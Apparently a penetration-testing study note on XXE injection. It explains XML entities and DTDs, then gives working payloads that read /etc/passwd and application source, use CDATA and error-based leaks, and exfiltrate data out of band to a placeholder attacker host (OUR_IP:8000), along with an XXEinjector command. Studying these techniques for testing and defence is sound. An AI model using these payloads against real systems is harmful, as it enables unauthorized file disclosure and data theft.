XML External Entity (XXE) Injection occurs when XML data is taken from a user-controlled input without properly sanitizing or safely parsing it.
Extensible Markup Language (XML) is a common markup language like HTML designed for flexible transfer and storage of data in documents in various types of applications. Not focused on displaying data but mostly on storing documents’ data and representing data structures. Each element has a tag and the first element is called the root element and the other elements are child elements.
| Key | Definition | Example |
|---|---|---|
Tag | The keys of an XML document, usually wrapped with (</>) characters. | <date> |
Entity | XML variables, usually wrapped with (&/;) characters. | < |
Element | The root element or any of its child elements, and its value is stored in between a start-tag and an end-tag. | <date>01-01-2022</date> |
Attribute | Optional specifications for any element that are stored in the tags, which may be used by the XML parser. | version="1.0"/encoding="UTF-8" |
Declaration | Usually the first line of an XML document, and defines the XML version and encoding to use when parsing it. | <?xml version="1.0" encoding="UTF-8"?> |
| XML Document Type Definition (DTD) allows the validation of an XML document against a pre-defined document structure. These can also be defined within an XML document and through a URL/referenced externally. |
<!DOCTYPE email [
<!ELEMENT email (date, time, sender, recipients, body)>
<!ELEMENT recipients (to, cc?)>
<!ELEMENT cc (to*)>
<!ELEMENT date (#PCDATA)>
<!ELEMENT time (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>Custom XML entities in XML DTDs allow refactoring and reduce repetitive data. This can be done with the use of the ENTITY keyword which is followed by the entity name and its value
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
<!ENTITY company "Inlane Freight">
]>It can then be referenced in an XML document between an & and a semi-colon ;. Whenever an entity is referenced it will be replaced with its value by the parser. We can also reference External XML entities with the SYSTEM keyword.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
<!ENTITY company SYSTEM "http://localhost/company.txt">
<!ENTITY signature SYSTEM "file:///var/www/html/signature.txt">
]>
PUBLICmay be used instead ofSYSTEMfor loading external resources.
Local File Disclosure
If any elements that we send in is being displayed back to us we should try and target those elements to inject into. We can first inject our a new DTD into the XML data being submitted and then try and reference it in the injected element.
Some web applications may default to a JSON format in HTTP request, but may still accept XML as input. We can try changing the
Content-Typeheader toapplication/xmland then convert JSON data to XML with a converter.
If we can define new internal XML entities, we can also try defining external XML entities.
<!DOCTYPE email [
<!ENTITY company SYSTEM "file:///etc/passwd">
]>Through this file inclusion we can also try and read source code of the web app, it is important to note however that files included must be in a proper XML format to be referenced as an external XML entity.
If a file contains some of XML’s special characters (<>&) it would break the reference. PHP wrapper filters allows us to base64 encode certain resources
<!DOCTYPE email [
<!ENTITY company SYSTEM "php://filter/convert.base64-encode/resource=index.php">
]>In addition to LFI, we can also attempt RCE. The easiest method is to read ssh keys or steal a hash. Another technique is to execute command on PHP-based web apps via the PHP://expect filter. If enabled we can execute expect://id or other attacks.
SSRF exploitation allows us to enumerate locally open ports and access their pages among other restricted web pages.
CDATA Exfiltration
To output data that does not conform to the XML format we can wrap the contents of the external file with a CDATA tag. Our XML parsers would consider this part raw data. We would have to define an internal entity like so
<!DOCTYPE email [
<!ENTITY begin "<![CDATA[">
<!ENTITY file SYSTEM "file:///var/www/html/submitDetails.php">
<!ENTITY end "]]>">
<!ENTITY joined "&begin;&file;&end;">
]>Referencing the &joined; entity should contain our escaped data. XML, however does not allowing joining internal and external entities so wwe would also need to use XML parameter entities to store our joined entity in an external source.
echo '<!ENTITY joined "%begin;%file;%end;">' > xxe.dtd
python3 -m http.server 8000So our whole DTD would be
<!DOCTYPE email [
<!ENTITY % begin "<![CDATA["> <!-- prepend the beginning of the CDATA tag -->
<!ENTITY % file SYSTEM "file:///var/www/html/submitDetails.php"> <!-- reference external file -->
<!ENTITY % end "]]>"> <!-- append the end of the CDATA tag -->
<!ENTITY % xxe SYSTEM "http://OUR_IP:8000/xxe.dtd"> <!-- reference our external DTD -->
%xxe;
]>
...
<email>&joined;</email> <!-- reference the &joined; entity to print the file content -->Error Based
The web application may not write any output so we cannot any of the XML input entities to write its content. If the web application does not have proper exception handing for the XML input then we can use this to read the output of the XXE exploit.
We can cause an error but deleting any of the closing tags, changing one of them so it does not close or just reference a non-existing entity.
Blind Exfil
We could get no output of any of the XML entities nor get any PHP errors displayed. In this case we can use Out-of-band (OOB) data exfiltration, which is often used in similar blind cases with many web attacks. Instead of having our file entity to a specific XML entity we will make the web application send a web request to our web server with the content of the file we are reading. We can create another parameter entity and reference it to our IP.
<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % oob "<!ENTITY content SYSTEM 'http://OUR_IP:8000/?content=%file;'>">We can use a similar payload to the error-based one
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE email [
<!ENTITY % remote SYSTEM "http://OUR_IP:8000/xxe.dtd">
%remote;
%oob;
]>
<root>&content;</root>We may utilize DNS Exfiltration to encode the data as a sub-domain for our URL.
We can also automate this process with XXEinjector. We simply write XXEINJECT after the first line of the XML data and run the tool like so
ruby XXEinjector.rb --host=[tun0 IP] --httpport=8000 --file=/tmp/xxe.req --path=/etc/passwd --oob=http --phpfilter